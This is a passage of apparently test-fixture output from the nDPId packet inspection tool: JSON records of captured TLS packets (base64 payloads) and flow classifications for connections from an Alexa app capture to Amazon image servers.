+02384{"flow_id":156,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2883,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":33958,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc4NJAAPIGWJk0VD5zrBAq2AG7o7kDZGrO+muBiYAQAHZAyQAAAQEICmz6hfcA9orgtH\/sB3rLMA0GCSqGSIb3DQEBCwUAA4IBAQBkiDIxxnEZQrKUokw1tGkpri5hfM77NzUNZVWC0Fgdg74+ZMaxjY5ejtf+ySz7Q4YfW\/gX7WyTv0J6x9UzilKxYpa3x1E+FkaueHDs9uPAqFWK3dEAeXxMgoNrRERymOERcZoEhmu4s90r+y6wcrksN9W2xICvAv60b4k6vUuYH9j27CDbSivSCe71iV6zZ+kGTvIhEJRdwt3iYMyQwQMN55VSSzpX+SrB2wiDul3yiV4HjaS703ElwqvtEXQGCQux6WhUMHOBXzY0kebNFDKYD63s\/sHwq4c2qTdzD3pvCQ16okmwVy481q+faunmHtn14Kr9QeLcLqT7vLASm9BTAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+k="} +02390{"flow_id":156,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2884,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":34469,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXc4NNAAPIGWJg0VD5zrBAq2AG7o7kDZHB2+muBiYAQAHaf0QAAAQEICmz6hfcA9orgdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHFgMDBlEWAAZNAQAGSTCCBkUKAQCgggY+MIIGOgYJKwYBBQUHMAEBBIIGKzCCBicwgZ6iFgQURSACqIuKZZ91+vXpChp40vA3C54YDzIwMTcwMzI5MDkwMDU3WjBzMHEwSTAJBgUrDgMCGgUABBTRsWSLjJ8N0Wujis0rUBfV+c\/AZAQUX2DPYZBV34RDFIpgKrL1evRDGO8CEGkfQVf74iexbfWk\/mH6d+2AABgPMjAxNzAzMjkwOTAwNTdaoBEYDzIwMTcwNDA1MDkwMDU3WjANBgkqhkiG9w0BAQUFAAOCAQEAlbbCUTPj5w12J6GrEmf5hV4iufntZZG3Y8S0pI0kB7GvfElrulxav4QgdcZbLdUPkMWM9+kneCt+exqXrJeZ+COEhhUEqc\/nVfEavr\/oYR62P3Lz8Ut0O17jXqENh\/mbjRoREBil\/CIzWU+luSiF\/ZMRq0H1zEw\/mSTmMnhxRiz6ahuQV+JItIEhPJlQs5iWx8ruofIcqOvKelrA24cDxEyufpN9ZEfQvyl5ymmsDXK\/xcHYknZLM3WSC0UUBnlcq4NYqiQh5Pymkkp2G44BW2p9GbWOYszSsqf\/C+hiL7zN1WiscirUykahmZ7D1\/a5eJFOsv0Tf\/hRZVBAlJ3ZHKCCBG4wggRqMIIEZjCCA06gAwIBAgIQRGiQY2lIBdbK9v250cQFITANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE3MDIwNDAwMDAwMFoXDTE3MDUwNTIzNTk1OVowQDE+MDwGA1UEAxM1U3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQgT0NTUCBSZXNwb25kZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqK0Kffb5Auqq\/RTKlGMWnpdC7JmtnGiOAYwvZN2YjMK6fnb0hAgOMG1rLR76AfOlvGZpXezKtbbVssGNNzBnwJfejjdD4jlaNV3g2Sbl02\/W0C1EsVV7s4J8Dmxg7llU8aWUd6qxYyXvCNgMr0zT44ABlcJe7lYNxneZPdVb5+8NG48QecxpmEgLmwiH886a9SxZ\/5oFPCbvui09qrD9ZZDZeTWx3jja9a9brKoIv8Lz2opoIuWL\/3FE0ksMFSK5zl4n4ihm\/0beCKOUAGnRvV8Lf2TnNlIaBm4HCrofyw\/wGBxcmFekRRMYMG3tUe+29l40aopWwNOI7L3BhPMTrAgMBAAGjggEcMIIBGDAPBgkrBgEFBQcwAQUEAgUAMCIGA1UdEQQbMBmkFzAVMRMwEQYDVQQDEwpUR1YtRC0zODU3MB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB0GA1UdDgQWBBRFIAKoi4pln3X69ekKGnjS8DcLnjAMBgNVHRMBAf8EAjAAMG4GA1UdIARnMGUwYwYLYIZIAYb4RQEHFwMwVDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKgYIKwY="} +01233{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2884,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":156,"flow_packet_id":8,"flow_first_seen":1490976195984,"flow_last_seen":1490976196034,"flow_tot_l4_data_len":4835,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":604,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41913,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AmazonVideo","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","server_names":"images-na.ssl-images-amazon.com,images-eu.ssl-images-amazon.com,images-fe.ssl-images-amazon.com,m.media-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=Images-na.ssl-images-amazon.com","alpn":"h2,http\/1.1","fingerprint":"39:3D:27:B3:4D:FA:B4:04:AB:48:7F:5C:CB:A9:9A:95:F5:22:2A:52"}} +01382{"flow_id":156,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2885,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":34748,"pkt_caplen":764,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":764,"pkt_l4_len":730,"pkt":"ePiC0\/vCAMDKkVoBCABFAALu4NRAAPIGW4U0VD5zrBAq2AG7o7kDZHYe+muBiYAYAHZ4RwAAAQEICmz6hfcA9orgAQUFBwICMB4aHCAgaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQB4HMFiNVhH\/deb\/gTB86atVF4ywqr0xapUyerApNwQq\/ERx+P2vuV6cbn7nw+nwAPKmQ2C1\/5mrPKO+CN8i46q+JdQmfb3UoTuoYQVXYzQ5WxhHij7MjF7swqsQ6AJAagWS\/6Sw4vnUhMJSJti+y6cojNMGRQ1Mn010zjA5f2mqtQbJcXTwe66\/hVsPQIMJFgkX565MDEbMxCO2AmjPJFfLBm0dCw5zcfFfjJS+xPuB8aEo67ogH19P5klyyuA4HZedrQHXKAwHnWUs\/h+mP27rKq05NZ00cCJLBBUa+lOYqRx\/HeSlpKdROtQa1wj09sFAyeSF2EkjMuvIXq7h0QOFgMDAU0MAAFJAwAXQQS\/2oyBC7yKFb2GJpph+VEAhud80AYfLwHrlG0+0onox2mf1eonEqAhMH\/EANDV1Fj160WyB6vHQ+A0mQLCmmbABgEBABpj1KRclHhCpjIukJZGFy\/9M0vMIyhjAW51yo7mTClI2FZTwUYOX3lWEYuE6rDACM72R8aL7QYty04bFV8Srnx411EO7LhkyKUGWS50CeS8kBumZJb4XqDJKOHu7JyS5NXVQfg9mupECI4Bowvqef32hD28qdSukXuchQtN+hIEMnZ1m4iIvGF75WiiSLtQhXWpW\/OkK3d8xQqFuaDw1qmoEc8rfPBngIm5lkE\/OHH+JhTyju729oGksGpH55tcQzeqdifeQtPkJwLwYf+F\/95rXlzGwbtWR\/fsAWQ5xyyXrMih6kvLtkBNnPgyfPpqKn1kR6+K3n5pZp0GCuh4FbgWAwMABA4AAAA="} +00432{"flow_id":156,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2886,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":36165,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0CnZAAEAG5p6sECrYNFQ+c6O5Abv6a4GJA2RqzoAQAWIdRAAAAQEICgD2iuNs+oX3"} +00432{"flow_id":156,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2887,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":36458,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0CndAAEAG5p2sECrYNFQ+c6O5Abv6a4GJA2RwdoAQAW0XkQAAAQEICgD2iuNs+oX3"} +02380{"flow_id":157,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2888,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":37522,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcpFlAAPIGlRI0VD5zrBAq2AG7o7r33SsPWDm8H4AQAHZEGgAAAQEICmz6j1gA9orgFgMDAFQCAABQAwN0QmB\/9WLZlS3e1cIb5Gb70pzs63s8uXZIHTHQlCi3NgDALwAAKAAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAALAAkIaHR0cC8xLjEWAwMLowsAC58AC5wABlowggZWMIIFPqADAgECAhBpH0FX++InsW31pP5h+nftMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYwOTIzMDAwMDAwWhcNMTcxMDI2MjM1OTU5WjB5MQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEoMCYGA1UEAwwfSW1hZ2VzLW5hLnNzbC1pbWFnZXMtYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALEuJO\/+bBZp+65A3qd7KXAfp\/cKV5sEn6gPlLX+kNYjVLDHtwBivFeUG6bFEOhwWdlcNuDzu9KkW7lLTHitJ5nFNZV8ab6lWZc6IgABVBSUzarnyfLq7rKfC2JGnZNxMXEzi1Vj5qs4OUNzMETVJxx9HbMK3VCITO7h6OYz2D3VyZgIJwqq7Onpkkx2YSQTdtBy9Pr3Yx71pOWk\/3vh3jwlUgByGncft+zlHReypSHZCXLE\/RRSYVMOdSSWd9vlmStKxq5H0TRrvkLw+d3p5plGcmL7d1fjoFAWT259eL1DlUmYfkteR\/zCwtPSGW3K6F6CzoKpayF3+Zj22dILQUkCAwEAAaOCAtMwggLPMIGABgNVHREEeTB3gh9JbWFnZXMtbmEuc3NsLWltYWdlcy1hbWF6b24uY29tgh9pbWFnZXMtZXUuc3NsLWltYWdlcy1hbWF6b24uY29tgh9pbWFnZXMtZmUuc3NsLWltYWdlcy1hbWF6b24uY29tghJtLm1lZGlhLWFtYXpvbi5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGEGA1UdIARaMFgwVgYGZ4EMAQICMEwwIwYIKwYBBQUHAgEWF2h0dHBzOi8vZC5zeW1jYi5jb20vY3BzMCUGCCsGAQUFBwICMBkMF2h0dHBzOi8vZC5zeW1jYi5jb20vcnBhMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMCsGA1UdHwQkMCIwIKAeoByGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3JsMFcGCCsGAQUFBwEBBEswSTAfBggrBgEFBQcwAYYTaHR0cDovL3NzLnN5bWNkLmNvbTAmBggrBgEFBQcwAoYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcnQwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuy+zAAAAVdUkiseAAAEAwBHMEUCIQD6iIA+rmG7QUCCeoEWrVeccR1EZDWz9MXobNmyZkT4uQIgaiJVZCKRbwFdkbUxvM4Cisi\/8VdNDoagQ9TsWHWxRdUAdgBo9pj4H2SCvjqM7rkoHUz8cVFdZ5PURNEKZ6y7T0\/7xAAAAVdUkitHAAAEAwBHMEUCIEoThh0jOnprHDW1k9YHcA6yuygvskznTHLMQPBWQS8oAiEAy\/WI\/dbVY6t2GtrwR2xpuZ7b0b0g40Bn0vI="} +00806{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2888,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":157,"flow_packet_id":6,"flow_first_seen":1490976195985,"flow_last_seen":1490976196037,"flow_tot_l4_data_len":1875,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41914,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02384{"flow_id":157,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2889,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":38086,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcpFpAAPIGlRE0VD5zrBAq2AG7o7r33TC3WDm8H4AQAHbkoAAAAQEICmz6j1gA9orgtH\/sB3rLMA0GCSqGSIb3DQEBCwUAA4IBAQBkiDIxxnEZQrKUokw1tGkpri5hfM77NzUNZVWC0Fgdg74+ZMaxjY5ejtf+ySz7Q4YfW\/gX7WyTv0J6x9UzilKxYpa3x1E+FkaueHDs9uPAqFWK3dEAeXxMgoNrRERymOERcZoEhmu4s90r+y6wcrksN9W2xICvAv60b4k6vUuYH9j27CDbSivSCe71iV6zZ+kGTvIhEJRdwt3iYMyQwQMN55VSSzpX+SrB2wiDul3yiV4HjaS703ElwqvtEXQGCQux6WhUMHOBXzY0kebNFDKYD63s\/sHwq4c2qTdzD3pvCQ16okmwVy481q+faunmHtn14Kr9QeLcLqT7vLASm9BTAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+k="} +02390{"flow_id":157,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2890,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":38701,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcpFtAAPIGlRA0VD5zrBAq2AG7o7r33TZfWDm8H4AQAHZDqQAAAQEICmz6j1gA9orgdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHFgMDBlEWAAZNAQAGSTCCBkUKAQCgggY+MIIGOgYJKwYBBQUHMAEBBIIGKzCCBicwgZ6iFgQURSACqIuKZZ91+vXpChp40vA3C54YDzIwMTcwMzI5MDkwMDU3WjBzMHEwSTAJBgUrDgMCGgUABBTRsWSLjJ8N0Wujis0rUBfV+c\/AZAQUX2DPYZBV34RDFIpgKrL1evRDGO8CEGkfQVf74iexbfWk\/mH6d+2AABgPMjAxNzAzMjkwOTAwNTdaoBEYDzIwMTcwNDA1MDkwMDU3WjANBgkqhkiG9w0BAQUFAAOCAQEAlbbCUTPj5w12J6GrEmf5hV4iufntZZG3Y8S0pI0kB7GvfElrulxav4QgdcZbLdUPkMWM9+kneCt+exqXrJeZ+COEhhUEqc\/nVfEavr\/oYR62P3Lz8Ut0O17jXqENh\/mbjRoREBil\/CIzWU+luSiF\/ZMRq0H1zEw\/mSTmMnhxRiz6ahuQV+JItIEhPJlQs5iWx8ruofIcqOvKelrA24cDxEyufpN9ZEfQvyl5ymmsDXK\/xcHYknZLM3WSC0UUBnlcq4NYqiQh5Pymkkp2G44BW2p9GbWOYszSsqf\/C+hiL7zN1WiscirUykahmZ7D1\/a5eJFOsv0Tf\/hRZVBAlJ3ZHKCCBG4wggRqMIIEZjCCA06gAwIBAgIQRGiQY2lIBdbK9v250cQFITANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE3MDIwNDAwMDAwMFoXDTE3MDUwNTIzNTk1OVowQDE+MDwGA1UEAxM1U3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQgT0NTUCBSZXNwb25kZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqK0Kffb5Auqq\/RTKlGMWnpdC7JmtnGiOAYwvZN2YjMK6fnb0hAgOMG1rLR76AfOlvGZpXezKtbbVssGNNzBnwJfejjdD4jlaNV3g2Sbl02\/W0C1EsVV7s4J8Dmxg7llU8aWUd6qxYyXvCNgMr0zT44ABlcJe7lYNxneZPdVb5+8NG48QecxpmEgLmwiH886a9SxZ\/5oFPCbvui09qrD9ZZDZeTWx3jja9a9brKoIv8Lz2opoIuWL\/3FE0ksMFSK5zl4n4ihm\/0beCKOUAGnRvV8Lf2TnNlIaBm4HCrofyw\/wGBxcmFekRRMYMG3tUe+29l40aopWwNOI7L3BhPMTrAgMBAAGjggEcMIIBGDAPBgkrBgEFBQcwAQUEAgUAMCIGA1UdEQQbMBmkFzAVMRMwEQYDVQQDEwpUR1YtRC0zODU3MB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB0GA1UdDgQWBBRFIAKoi4pln3X69ekKGnjS8DcLnjAMBgNVHRMBAf8EAjAAMG4GA1UdIARnMGUwYwYLYIZIAYb4RQEHFwMwVDAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKgYIKwY="} +01233{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2890,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":157,"flow_packet_id":8,"flow_first_seen":1490976195985,"flow_last_seen":1490976196038,"flow_tot_l4_data_len":4835,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":604,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.62.115","src_port":41914,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AmazonVideo","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"images-na.ssl-images-amazon.com","server_names":"images-na.ssl-images-amazon.com,images-eu.ssl-images-amazon.com,images-fe.ssl-images-amazon.com,m.media-amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=Images-na.ssl-images-amazon.com","alpn":"h2,http\/1.1","fingerprint":"39:3D:27:B3:4D:FA:B4:04:AB:48:7F:5C:CB:A9:9A:95:F5:22:2A:52"}} +01385{"flow_id":157,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2891,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":38977,"pkt_caplen":764,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":764,"pkt_l4_len":730,"pkt":"ePiC0\/vCAMDKkVoBCABFAALupFxAAPIGl\/00VD5zrBAq2AG7o7r33TwHWDm8H4AYAHZioAAAAQEICmz6j1gA9orgAQUFBwICMB4aHCAgaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDgYDVR0PAQH\/BAQDAgeAMA0GCSqGSIb3DQEBCwUAA4IBAQB4HMFiNVhH\/deb\/gTB86atVF4ywqr0xapUyerApNwQq\/ERx+P2vuV6cbn7nw+nwAPKmQ2C1\/5mrPKO+CN8i46q+JdQmfb3UoTuoYQVXYzQ5WxhHij7MjF7swqsQ6AJAagWS\/6Sw4vnUhMJSJti+y6cojNMGRQ1Mn010z